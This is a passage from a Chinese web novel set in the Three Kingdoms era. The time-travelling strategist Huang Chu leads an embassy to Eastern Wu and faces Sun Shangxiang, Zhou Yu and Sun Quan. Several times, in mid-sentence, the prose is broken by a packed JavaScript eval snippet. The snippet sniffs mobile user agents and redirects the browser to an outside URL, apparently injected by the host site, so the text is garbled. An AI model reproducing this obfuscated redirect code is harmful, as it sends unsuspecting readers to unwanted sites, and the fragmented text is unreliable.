治理地方,刘备和及其属下皆有经验,黄楚并不需要为此太过费神,只是提议让刘备效仿曹操,安排士兵屯田,帮助当地发展农业。“曹操败退后,荆襄至少能有一两年的太平日子。趁此机会,让士兵协助百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486256|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓耕田畜牧,一则可以节省军粮开支,二则免得士兵闲而生事,三则令兵士与百姓亲睦,将来作战时军民一体。南方草植比北方茂盛,相信我军屯田比曹操受益更高。可以多养些家畜家禽,尤其是猪、牛、羊、鸭、鹅,多产出些肉蛋,为士兵和百姓们补补身子。牛可以耕田、羊毛、鸭毛、鹅毛可以纺衣。” 刘备道:“此计甚好,公祐(孙乾的字)先生也是如此说。” “公祐先生经验老道,远在楚之上。”梁爽道:“只是有一事还需劳烦子仲(糜竺的字)将军。” 糜竺道:“军师请讲。” “原是我异想天开得来的想法,但若真能实施,或许于国计民生有利,因此想劳烦将军帮我一试,”梁爽道:“如今纺纱织布,需以人力操作织机,有没有可能巧设机关,变成以水力驱动,请将军寻些能工巧匠,试试有没有办法实现。” 糜竺虽然不太懂,但一口应承,说会尽力一试。 此后便是敲定出使东吴的计划。 梁爽先致信诸葛瑾,打好招呼。 几日后,刘备准备好给孙权的信件、礼物及黄楚此行所需钱款,亲自率众人送黄楚出襄阳城。 出使的一行人先乘车前往荆州,再从江夏乘船渡江,往柴桑去。 在那里迎接她的,将会是东吴水军大都督周瑜。 梁爽有些晕船,在船舱里眩晕呕吐不止。 这时一个身量瘦长、骨架纤细的士兵上前轻轻握住她的手腕,又为她拍打背部。 梁爽抬头一看,险些将士兵名字脱口而出:银屏姑娘? 39. 出使东吴(二) 女扮男装的小姑奶奶略有些不好意思地冲她调皮一笑,连忙用手指在唇边比个“嘘”的手势:“我来照顾军师,想跟军师学些本领、长长见识。求军师别赶我走。” 俏皮少女满脸写着讨饶,而且又确实在照顾她,梁爽心里暗暗叹了口气,说道:“好。”问她:“关小将军知道么?” “是我逼着哥哥带我来的,求军师别责怪他。”小姑奶奶点头:“我爹爹还不知道。” “小姐可以跟着我,但要答应我,绝对不可暴露身份。对外,若是小姐的女装被识破,我就说小姐是我的丫鬟,为了方便才穿男装的。” 小姑娘乖乖点头。 梁爽被她惊了这一下,分了神,恶心反胃的感觉轻了许多。 “小姐跟着我,想学什么?” “学兵法!”关银屏的眼睛亮晶晶的。 “小姐对兵法有兴趣?” 银屏猛点头:“习武不过十人敌,要学就学万人敌。” 梁爽隐约觉得这句词很耳熟,仿佛在哪里见过,但一时想不起,只是为小姑娘的豪情壮志所感,便激赏道:“好。既然小姐有心,虽然我本事有限,但愿倾囊相授。” 银屏也不含糊,当即就行大礼拜了师。梁爽连忙扶她起身,算是认了这个徒弟。 临近东吴,梁爽强撑着从船舱里出来。江风凛冽,浪涛拍打着船舷,颠簸得她一阵阵眩晕,脸色又苍白了些许。 赵云见了,连忙来迎:“军师可曾好些?” 梁爽不愿众人担心,便点点头道:“劳将军挂怀,我已好多了。” 刘封小将军赶眼色,连忙招呼兵士道:“快给军师再送姜汤来。”又亲自递到梁爽面前:“军师,喝点吧,能缓解晕船。” 梁爽接过姜汤,勉强喝了一口。 这时,远处传来一阵鼓声。只见东南方向一队战船疾驰而来,船头旌旗招展,甲板上军士齐声呐喊,声势惊人。 为首的战船上,一名女将持弓而立。她身着战甲,系红色披风,长发高高束起,身后一面“孙”字将旗随风飘扬。 众人面面相觑,不知来人是谁——按理说,来接应的该是周瑜才对。 蒯越道:“或许是孙权之妹,孙尚香。听闻吴侯疼爱此妹,因她爱好武艺,便专门请人教习,左右侍女皆披甲执刃,日常陪着练武。” “既是吴侯之妹,于礼节上,咱们也不算折辱。”梁爽道。 双方战船渐渐逼近。 “来者何人?”孙尚香高声问道,声音清亮。 梁爽立在船头,强忍不适,上前一步:“在下黄楚,奉刘皇叔之命,特来拜会吴侯。” 孙尚香目光锐利,上下打量着她:“原来是刘皇叔的军师。久闻大名,今日一见,果然名不虚传。” 梁爽微微一笑:“孙将军过奖了。孙将军英姿飒爽,风采不凡,堪称巾帼不让须眉。” 说话间,孙尚香突然张弓搭箭,对准了梁爽。赵云等人顿时紧张起来,赵云握紧了佩剑,刘封关平也立即摸出了弓箭,小银屏则将身子挡在了梁爽面前。 “军师小心!”赵云低声道。 梁爽却神色如常,依旧面带微笑,只轻轻将银屏拨开,掩在自己身后。 “嗖”的一声,箭矢破空而来,擦着梁爽的耳际飞过,正中她身后桅杆。 “好箭法。”梁爽鼓掌赞道:“孙将军这一箭,当真是百步穿杨。只是于礼法上,似乎不合,有损江东气度。” 孙尚香收起弓箭,淡淡道:“黄军师胆识过人,佩服。” 梁爽笑道:“孙将军谬赞了。在下虽然不上战场亲自杀敌,但到底也是在新野城下、曹贼数十万大军阵前见识过刀山火海的人。” 孙尚香眼中闪过一丝异色,似乎对黄楚的从容有些意外。她挥了挥手,示意战船让开航道:“黄军师请。” 黄楚微微颔首:“多谢孙将军。” 刘备阵营的船队继续前行,孙尚香的战船紧随其后。 离东吴水寨越来越近,江风拂面,带来一丝咸腥的气息。梁爽忍不住又吐了一次,将刚才的姜汤都吐尽了。 “实在是辛苦军师。”蒯越等人不免怜惜道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486257|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无妨。”梁爽道:“怪我自己身子太弱,给诸位添麻烦了。”原本黄楚习武,体魄强健,但梁爽穿越而来毫无关于武艺的记忆,几个月不练,身子便虚。 这时面前又有打“周”字帅旗的东吴水军战船列队而来。初时只见数十艘战船排成整齐的雁形阵,一船当头,其后两排战船如翼展开,气势磅礴。听得一声“起鼓!”战鼓声震天动地,只见两侧各战船突然加速,船头劈开波浪,激起层层白沫,原本整齐的雁形阵迅速变换,转眼间变成鱼鳞阵。每艘战船之间保持相同距离,宛如一片片紧密排列的鱼鳞,既能互相掩护,又可随时支援——与后方孙尚香船队相互配合,将梁爽所在的小船困在了当中。 “碧眼贼的下马威还没完没了了!”关银屏低声骂道。 梁爽心下诧异:这小姑娘看着文文静静,没想到有这般暴烈的脾气。 环顾四周,只见赵云等将士也各有不忿。刘封和关平两个小将身负学习水军指挥之法的任务而来,都眯起了眼睛四处打量,仔细偷学,不放过一丝细节。 梁爽道:“虽然我不太懂得水军阵法,但看他们变阵时,左翼的几艘战船明显慢了半拍,队形也略显松散,咱们或许可以从那处突围。蒯先生熟悉水战,依蒯先生所见,意下如何?” 蒯越赞叹道:“军师虽然谦辞说不懂水军,但所言皆在点子上。” 梁爽一点头,赵云便传令下去。 梁爽这边战船一动,对面又一声令下:“变阵!” 东吴战船再次变换队形。这一次,它们排成锥形阵,宛如一支利箭,直指前方。船头的弩炮齐齐对准荆州来的小船,甲板上的军士高举长矛,呐喊声震耳欲聋。 梁爽强忍着眩晕恶心,说道:“不必理他们。万变不离其宗,继续行驶便是。” 这时,对面战船再次变换队形,改排成环形阵,亮出中央一艘旗舰。旗舰上,一名白袍将军负手而立,正望向梁爽这边。 “这是……”梁爽心中有一个猜测,但还没有说出口。 “军师,此人便是东吴水军大都督,周瑜,周公瑾。” 40. 出使东吴(三) 周瑜身长八尺,姿容俊美,举止间自有一股风流倜傥之气。一身战袍,衬得他愈发挺拔如松。 梁爽见此,心中暗叹:“世传周郎美姿仪,今日一见,果然传言非虚。如此人物,当真是世间少有。是连洪宇宙老师也不能完全演出来的。” 梁爽与周瑜的目光在空中遥遥交汇。梁爽微笑而已。周瑜见状,眉头微皱,转身离去。 梁爽回头笑道:“我赌一个铜钱,等会儿来迎接咱们的,是个芝麻小官。” 蒯越笑道:“我随军师。” 赵云道:“我也随军师。” 刘封不解道:“周瑜都已经到此,为何不亲自在岸边迎接军师?他难道不惧怕军师威名,不怕军师一把火烧了他的水寨?” “刘小将军说得我好像是什么纵火狂徒似的。”说得梁爽笑道:“我此行是来代替主公与孙吴结盟,哪有刚到人家地盘就放火的道理。” 船靠岸后,岸边一名青衣官员懒懒散散上前,潦草拱手道:“在下乃吴侯帐下主簿,奉大都督之命,特来迎接刘皇叔使者。” 梁爽从容下船,目光扫过岸边列队的东吴军士,个个盔明甲亮,手持刀枪如林,寒光闪闪。 “有劳。”梁爽淡淡道:“不知大都督何在?” 那主簿面露敷衍:“大都督军务繁忙,在下来接待诸位便是。” “此乃我家军师!亲自到尔等的地方,”刘封闻言怒道:“尔等好生怠慢失礼!适才明明见了你家都督在战船上,竟不亲自下船来接,而派一小吏!” 梁爽轻轻抬手,微笑道:“无妨。我等一路颠簸至此,已经疲惫,不如先不去见大都督,先至驿馆安歇洗沐罢。” “黄军师随我来。” 那主簿引梁爽一行人至柴桑驿馆安置。 关平抱怨道:“东吴人真是奇怪。先是派了个女将来射了一箭,又是水军大都督变换队形耍威风,耍完威风之后,两个人都不来接咱,走了,反派一小吏来。” “这有何难解?”梁爽笑道:“开头孙尚香出面,是因为她听说我是女军师,好奇想来看看。吴侯宠溺妹妹,不能拦阻,故而由着她。” 关平听出梁爽在拿“宠溺妹妹”点他,尴尬地红了红脸。 “周瑜来,是想震慑咱们,也顺便探探咱们虚实。”梁爽继续道:“咱们见招拆招之后,他面子上挂不住,便想着在礼节上轻轻折辱咱们一下,如此他才能顺过一口气来。各为其主,他也是想为他的主公多争些颜面,这么做也正常。” “军师,”刘封道:“那咱们就白白受他的辱?” 梁爽环顾一周,见驿馆装潢精美,笑道:“怎会?我梁——黄楚就从来不是吃暗亏的人。咱们就在这,吃他们的,住他们的,耗着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486258|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “耗着?”众人不免诧异。 “对,耗着。”梁爽道:“耗到他们再也忍不住,主动以礼来请咱。” 刘封皱眉道:“可若是周瑜那厮一直不理会……” “他不会的。”梁爽走到窗前,望着不远处的东吴水寨:“咱们久久在此不动,便会将今日他派小吏来迎接使者的事情闹大。若传得天下人都知道他怠慢来使,必损其名——且不说听闻周瑜最重名声,就算他为了保住他主公的名声,也不会放任咱们将事情闹大的。” 她转身看向众人:“诸位请看,这驿馆干净整洁,装饰精致,外面马厩里的马草也是精细料子,看得出他们还是很要脸面的。想必等会儿的伙食不会差。咱们安心住下便是。” 蒯越恍然大悟:“军师高明!如此一来,反倒是我们占了主动。” 梁爽点头:“正是此意。” 刘封、关平两个小将一听军师这么说,心里便很畅快。 一行人解封行李,安置下。梁爽去见赵云,请他安排好士兵值夜护卫,又将一封信递给他:“赵将军,你且派人将这封信送去给诸葛瑾先生。” 赵云接过信,疑惑道:“军师这是……” “周瑜既然要玩,我们便陪他玩玩。”梁爽眼中闪过一丝狡黠:“不过,保险起见,总得有人帮我们在吴侯面前传个话不是?” 41. 出使东吴(四) 周瑜坐在水寨高台上,手中羽扇轻摇,目光却始终注视着不远处的驿馆。 “大都督,”亲兵上前禀报:“那姓黄的军师已在驿馆住了三日,整日吃喝玩乐。她爱看傩戏,说是东吴地方特色,要赏鉴一番。主簿不愿跌咱们吴侯的面子,就给请了唱傩戏的来。其它方面,除了先前所报,第一日曾派了一名兵士出去给长史诸葛瑾送信之外,毫无其它动静。” “诸葛瑾行事光明磊落,早将信件上呈吴侯看过。”周瑜道:“这黄夫人倒是沉得住气。其他人呢?” “其他人……关平刘封两个小将到处乱窜。他们身上都有功夫,每每都能把跟踪的暗哨甩脱。糜芳则是终日去市场里打转,多数时候只是问价,但也偶尔买卖货物。” 周瑜放下羽扇,皱眉道:“糜芳是生意人,也就罢了。你们派人在水寨、兵营周围加紧巡逻,防止关张二人刺探军情。” 亲兵答应着。周瑜又问是否有其它异动。 “有一件事,说来也不能算是‘异动’,但不说又不行……”亲兵挠挠后脑勺道:“大都督,荆州那帮人,白天无论散出去做什么,一日三餐都专回驿馆吃……正使一名,副使两名,随行将军三名,随侍丫鬟一个,还有二百兵士,皆是放开了肚子吃的,都跟这辈子没吃过饭似的。属下们算了一笔账,这花销……日久天长,咱们总不能白白供着他们罢。” 周瑜摸摸下巴,嗤笑一声:“有意思。” 他站起身,走到栏杆边,望向驿馆方向:“传令下去,再加派一倍人手,就明着围住驿馆。我倒要看看,那个女军师装模作样能撑到几时。” 驿馆内,梁爽正与蒯越对弈,赵云、关平、关银屏观战,棋盘上黑白交错,杀得难解难分。 “军师,”刘封进来禀报道:“周瑜又加派了人手监视咱们。” “反正咱们也不用出门,”梁爽头也不抬,随手落子:“让他监视便是。以刘小将军和关小将军的身手,应当不怕他们跟踪吧?” “他们如果只是跟踪,末将们倒不怯。可这么多兵马屯在咱们旁边……”刘封有些担忧:“就怕他们要对咱们下手。” “若要下手,就不会这么明着增兵了。”梁爽笑道:“小将军安心,周瑜越是加派人手,说明他越是着急。咱们只需静待其变。” 她抬头看向窗外,正好与窗外一名想听墙根的东吴卫兵目光对上。那卫兵慌忙躲闪,梁爽却只是淡然一笑。 “金瑶(银屏的假名),”她唤道:“让那个东吴主簿多准备些好酒好菜,今晚咱们就在院中赏月,看看这东吴的月亮是不是比襄阳的圆。” 银屏答应着,领命而去。 周瑜仍是站在水寨高台上,望着不远处的驿馆,只是这次眉头皱得比上次紧,手中早已没有闲情去摇羽扇,指尖一下一下地敲着栏杆。 “大都督,”亲兵上前禀报:“那黄楚昨夜在院中赏月,还请了许多乐工歌女来助兴,饮酒作诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486259|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好不自在。昨夜消耗的酒肉钱,比前三天加起来的都多。” 周瑜冷笑道:“倒是会享受。黄楚诗里写的是什么?” 亲兵面露难色道:“黄楚作诗时,蒯越曾拦阻,说是这首诗若传出去,不利于大都督的名声,怕她惹恼了大都督……” 他越是这么说,周瑜越要看。 亲兵双手呈上昨晚卫兵的密报,周瑜取过一览,只见白绢上写着:“江东多俊才,周郎独称魁。羽扇空对月,不知春已归。” 半是夸赞,半是嘲讽。 “诗写得这么烂,还叫诗?”周瑜放下密报,虽然没瞧上那首诗,眼中却对黄楚这个人闪过一丝惺惺相惜的赞赏:“能在我的地盘上如此从容,倒是个不简单的人物。” 亲兵小心翼翼地问道:“大都督,要不要咱们把饮食克扣些……” “不可。”周瑜抬手打断:“传令下去,撤去所有卫兵,只留少许暗哨在外/围保护。” 亲兵一愣:“这……” 周瑜道:“既然她要以静制动,那便如她所愿。”他转身看向亲兵:“明日一早,备好车马,我要亲自去驿馆拜访。” 亲兵大惊:“大都督,这未免太抬举他们了……” “能让本都督亲自去请的人,确实不多见,”周瑜道:“但总之先前已经给他们吃过苦头,也够了。他们毕竟是正经来使,我再这么同他们耗下去,不但不能为主公立威,反而要有损主公名声了。” 42. 出使东吴(五) 车驾停在驿馆门前,周瑜一身青衫,羽扇纶巾,缓步走入院中。 听得通报,梁爽率众人至院中相迎,向周瑜微微拱手:“大都督亲临,有失远迎。”近处将周瑜细看,觉得他眉目清俊,面庞棱角分明,神情气度既有文士之雅,又有武将之威,真乃人中龙凤,世所罕见。 周瑜打量着黄楚,见她矮矮的个子、样貌不美不丑普普通通无甚特别,心中暗叹:“打退曹操几十万大军的人,容貌竟是如此的不起眼,实在是人不可貌相。”含笑还礼道:“黄夫人远道而来,是周某有失远迎,还望见谅。” 两人见过礼,各自落座。 周瑜摇动羽扇,淡淡笑道:“听闻夫人近日在驿馆中颇有雅兴,不知可有什么佳作?” 梁爽垂眸微笑道:“在下于文墨诗歌不甚花心思,文采有限,不过是些闲来无事随手胡诌,不值一提。” 周瑜笑道:“夫人这随手之作,可是让周某好生难堪。” 梁爽故作惊讶:“哦?竟有此事?不过是在驿馆中的随手之作,没想到竟传了出去。大都督真是耳聪目明。诗中纯粹是些戏言罢了,若有不妥之处,还望海涵。大都督胸怀宽广,想必不会同我一个闺阁之中的弱女子计较罢?” “夫人谈笑间在博望坡烧了曹贼三次,几十万大军灰飞烟灭,竟还自称‘弱女子’么?”周瑜大笑道:“夫人的口才与计谋,瑜今日领教了。听闻夫人精通兵法,不知可愿与周某切磋一二?” 梁爽笑道:“黄某此行是来结盟,可不好与大都督干仗。” 周瑜笑道:“此处有棋盘,手谈一局,如何?” 梁爽道:“大都督有此雅兴,黄楚自当奉陪。” 周瑜执黑,梁爽执白,开始对弈。 梁爽故意示弱,扮作个臭棋篓子,下得一塌糊涂。 都不需点目,周瑜轻轻松松大胜一盘,大笑着将手中玉石棋子扬进棋盒:“夫人的棋技实在是出乎周某意料。” 梁爽笑道:“可惜只有黑白两色棋子,我自是不敌大都督。但不知若有第三色棋子,大都督会如何应对?” 周瑜笑道:“夫人此言,颇有深意啊。” “我自问算得上‘英雌’,不丢我们女子的脸面。”梁爽道:“我敬大都督是当世英雄,想必于天下之事与我所见略同。如今曹操势大,孙刘两家若不联手,恐难自保。大都督虽用兵如神、不怯曹操,但也不想让江东子弟孤军奋战与他硬碰硬罢?” 周瑜道:“夫人结盟之计,用意虽好,但夫人可知,江东与荆州有世仇?” 梁爽道:“我只知,冤家宜解不宜结。虽有世仇,亦是上一代人的事。刘景升两子,刘琦与刘琮,皆不是心胸狭隘之人,识得大局。且如今荆州乃我主公刘玄德主事。玄德公有书信在此,托我转交孙仲谋将军。相信孙将军亦不是目光短浅之人。” “夫人所见,正与我相合。”周瑜站起身,做一个“请”的手势:“主公孙将军已聚文武于帐下,正待夫人前来共议大事。” 使团起行,车驾自柴桑出发,三日后抵达建业。梁爽等人在驿馆安置,第二日至孙权府邸前,由周瑜引梁爽等人入内,穿过重重回廊,来到正厅外。孙权早已身着华服,在厅前等候,身后两列文武百官,峨冠博带,侍立在侧。 梁爽一看:此人身材魁梧,面容英武,浅褐色的双目微微泛着些猫眼石般的碧色光泽,炯炯有神。其笑时,如春风拂面,令人心生亲近;怒时,则如雷霆万钧,令人不敢逼视。通身一股王者之气概,不愧是称霸一方的人物。 “贵使远道而来,孙某有失远迎。”孙权速速将她作一打量,拱手道:“早闻黄夫人大名,如雷贯耳,今日一见,果然名不虚传。”他实则心中也诧异,眼前的奇人并无奇貌,看上去只是寻常普通的一名女子。 梁爽还礼:“吴侯过奖了。黄楚奉主公刘豫州(刘备官职是豫州牧)之命,特来拜会吴侯。” 孙权侧身相请:“贵使请。” 梁爽随孙权入内,厅中早已备好宴席,孙权请梁爽上座。 在场除周瑜外,还有张昭、顾雍、鲁肃等一班文武臣僚约二十余人,也各自整衣落坐。 梁爽先与诸位逐一相见,各问姓名。 “贵使此来,不知刘豫州有何指教?”孙权问道。 梁爽从袖中取出一封书信,双手呈上:"此乃刘豫州亲笔书信,请吴侯过目。" 孙权接过书信,细细阅读。信中,刘备言辞恳切,表达了与孙权结盟共抗曹操、振兴汉室的意愿。 孙权放下书信,命周瑜等人传阅,又向黄楚说道:“刘皇叔之意,孙某已明了。只是不知,刘皇叔以为,我们该如何联手?” 梁爽道:“曹贼不南下侵扰时,东吴与荆襄,互通有无,互惠互利,两不相犯;曹贼若举兵南下时,相互配合,共同迎敌。” 孙权闻言,看了臣僚们一眼。张昭会意,说道:“黄夫人,‘互惠互利’这个词,可别是唬人的。能否细说我江东可以如何获利?刘豫州如今占据荆州,正卡着我长江的航路,实在令我等不安呐。” 荆州。他们果然想要荆州。 梁爽并不急于回答,而是缓缓抬眼,看向张昭,语气淡然却带着不容置疑的坚定:“张公之意,黄楚明白。张公担忧荆州落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486260|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入我军之手,影响江东利益。可是张公有没有想过,我等此时此刻可以坐在这里讨论荆州,是因为荆州现在没有落入曹操之手,而荆州之所以没有落入曹操之手,是因为我主公刘玄德与麾下将士百姓以蚍蜉之力撼动大树,以区区几万人打退了曹操五十万大军!否则,在座诸位恐怕没有闲情在此坐而论道,而应紧急备战曹兵罢!此前曹操兵临城下,贵军可曾派兵相援?我方不过数万人,硬是凭借自己挡下了曹军几十万大军,而江东却袖手旁观。如今曹操退败,张公与我谈‘利益’时话语间直指荆州,是否欠思量了些?” 梁爽说罢,又看向孙权,等待他的表态。 因她言辞犀利,张昭被她噎得噤声,周围文臣武将皆低声议论。 孙权眉头微皱,似有不悦,张昭刚要开口,梁爽却抬手制止,继续道:“我黄楚虽是女子,却也知天下大势。当今天下,曹操挟天子以令诸侯,兵锋正盛。他虽败于荆州,却绝不会就此罢休。一旦休养生息,必然卷土重来。到那时,他的目标绝不只是荆州,而是包括江东在内的整个南方。居安思危,想必这道理在座诸位鸿儒、英雄都懂得。” 厅内众人神色微变,皆若有所思地看着黄楚。倒是周瑜面上难掩笑意,似乎早料到黄楚做如此反应。 梁爽目光灼灼,环视在场众人,接着道:“今日张公索要荆州,若我主真个交出荆州,那曹军南下时,我军无险可守,只能向西流亡,到时江东孤立无援。纵然江东水师威武、猛将如云,自忖能挡曹操的百万铁骑几个月?试问,曹操若夺江东,诸公是想降,还是想亡?” 此言一出,满座寂静。 张昭哑口无言,鲁肃看了看周瑜,出来打圆场道:“夫人言重了。张公的意思,并非索要荆州。只是荆州的位置,确实于我江东十分关键,也还请夫人多多体谅。” 梁爽忙和气地笑笑,向孙权拱拱手道:“黄楚不过一弱女子,前不久才与主公及诸将士九死一生击败曹操,此时心有余悸。好不容易挣来的安身立命之地,自然心里格外紧张些,难免误会了张公的意思,言辞激烈,失礼于吴侯,还望吴侯见谅。” 孙权深深看了黄楚一眼,缓缓点头,说道:“无妨。” “我今日前来,是为了双方交好,各自经营民生,减少战乱;并非是因怯战而前来割地的。说得自负些,我军接连胜仗,势头正盛,放眼天下,我们谁都不怯。”梁爽将丑话说在了前头,打掉了东吴诸人讨要荆州的念头,然后姿态放软,笑道:“我与其说是为了战事而来,不如说,是我代表主公,来与吴侯做一笔买卖,一笔泽被苍生的大买卖。” “买卖?” 43. 出使东吴(六) 梁爽微微一笑,不急着回答孙权,而是端起茶盏,轻轻晃了晃,似是在斟酌言辞,又似在考量孙权的态度。 “吴侯,您以为,当今天下,战争与和平,哪个更好?” 孙权眸色微深,淡淡道:“这要看对谁而言。” “不错。”梁爽点头,轻声道:“对曹操而言,战则可取天下,和则可稳根基。对吴侯而言,战则有攻伐之险,和则可固基业。我家主公刘豫州,战则可立足江北,和则可休养生息。” 她的声音温和,仿佛只是在陈述事实,而非讨论利益。然而在座的东吴群臣却都听出了弦外之音:刘备的利益,似与东吴更为一致。 梁爽顿了顿,目光扫过张昭、鲁肃等人,继续说道:“想必吴侯也不愿与曹操隔江相对。因此咱们两家不如合力想想,如何才能让东吴和荆州共利,而非互争。到时形成三足鼎立之势,相互牵制,总好过曹操一家独大。” 孙权嘴角含笑,饶有兴致地看着她:“夫人此言,似乎不曾把张鲁、刘璋等人放在眼里。” 梁爽望着他笑道:“暗弱之人,焉能与当世英雄相提并论?” 孙权被梁爽这马屁拍得很舒服,大笑道:“夫人不妨说说,这‘买卖’要如何做。” 梁爽以目光示意蒯越,蒯越从怀中取出一份物产清单,交与在旁侍奉的内侍。梁爽道:“荆州物产丰富,江东亦有奇珍,各有所长。若能互通有无,岂非两利?但现下,荆州对商旅征税过重,导致江东的盐铁、竹木难以大规模流入荆州,而荆州的粮食、药材、丝绸,也未能顺畅销往江东。这份清单上所列商品,凡是江东人士前来贩卖,我方拟将商税降至‘值百税一’。” 张昭皱眉:“夫人的意思是,要削减荆州对我江东商旅的关税?” 梁爽轻轻摇头:“非也。我方并非是要白白做善事,而是要双方共同降低关税,换取贸易畅通——诸公不是一直嫌荆州占据长江险要位置,是卡江东的脖子么?荆州对江东商人减税,江东亦设一码头,专门对荆襄商人减税,如何?” 满座文武相互交换眼色,皆点头颔首表示赞同。 梁爽见状,继续道:“其二,我军愿以重金向东吴采购战船。” 此言一出,厅中顿时一片低声议论。 孙权眼神中明显多了几分防备:“贵使欲向我军购船,是何用意?” 梁爽微笑答道:“吴侯想必也知,曹操兵败荆州,但并未伤筋动骨,他的野心更是未曾熄灭。若将来曹军再度南下,我军战船不足,恐难以支撑——先前好多船由蔡瑁管,两军交战时被我派兵一把火烧了——而东吴水师素来威名远扬,若能购得贵军精良战船,训练将士,补齐短板,才可共御强敌。” 她见东吴诸人个个目露警惕,于是话锋微顿,补充道:“更何况,此举对吴侯也非坏事。如今东吴兵精粮足,造船业亦极为兴盛。若能将战船出售于我军,既可获利,又能促进江东工匠生计。久而久之,我军有赖于东吴之造船业,彼此联系日深,岂不正是吴侯所愿?” 这一番话,说得既诚恳,又带着几分不容拒绝的道理。 鲁肃眼睛一亮,若有所思,看向周瑜。周瑜沉吟不语,目光望着地面,手里捻着袍服布料,不知在思索什么。 孙权轻轻笑了笑,缓缓道:“贵使说得倒是冠冕堂皇,可是……若我军卖战船与你们,尔后你军以我之战船来攻打我,我岂不是自掘坟墓?”说到最后,目线锐利,霸气凝于眸光。 “吴侯误会了。买卖讲究诚信,我军此番购船,是为共御强敌。”梁爽淡然道:“吴侯细想,我方欲壮大水师,总之是要购船。就算不从吴侯这里购买,也必会从别人处买。与其让别人赚到这笔钱,吴侯何不亲自来接这买卖?且江东造出来的船,江东人自是熟悉,将来就算两家翻脸,江东也算知己知彼。若我方从别处买船,江东如何得知我方战船情况?” 孙权环顾诸人,目光落在周瑜身上。 周瑜深深看了主公一眼。 孙权会意,向梁爽道:“夫人之言,倒是值得考虑。采购战船一事,事关重大,请容我等稍作商议再定。”说罢,使个眼色,礼官得令,轻轻击掌,乐官奏起礼乐,舞女入场献舞,侍女们上前为梁爽等人倒酒。孙权尽主人之谊,向梁爽等来宾举杯祝酒,梁爽等人亦举杯示意。 觥筹交错,饮酒至微醺,梁爽与东吴众人言谈间皆是试探,未露半分破绽。忽然东吴武将之中,一人起身向赵云道:“末将久闻常山赵子龙枪法无双,不知剑术如何?可愿与我共舞一场,以剑会友?” 梁爽、赵云等人闻言,抬眸望去,见是太史慈。 赵云看向梁爽。梁爽见太史慈眼神坦荡,并无敌意,知道东吴武将终究忍不住要试探赵云,便端起酒杯,微笑道:“二位都是当世名将,若能共同舞剑,实乃酒宴一大乐事。” 孙权也来了兴致,拍手道:“好!二位若能一展风采,倒是为这场宴席增色不少!” 太史慈一摆手,便有亲兵取来两柄上好长剑。他将其中一柄抛给赵云,自己则握住另一柄,朗声道:“赵将军,请!” 赵云抬手接过长剑,出鞘稍试,剑身轻盈,锋芒毕露,实乃一柄难得的好剑。 两人缓缓步入场中,灯火映照之下,剑光流转,寒气逼人。 太史慈率先出手,长剑一挑,划出一道精妙弧线,直指赵云肩膀。赵云不慌不忙,肩头一低,堪堪避过,手腕一抖,剑刃贴着对方剑锋一滑,轻轻一带,避开锋芒。 太史慈剑法凌厉,如狂风骤雨,攻势连绵不绝;赵云则身法灵动,剑招沉稳,仿佛游龙戏水,滴水不漏。 两人你来我往,在大殿中央舞出一道道寒光纵横的剑影,让众人目不暇接。 鲁肃忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 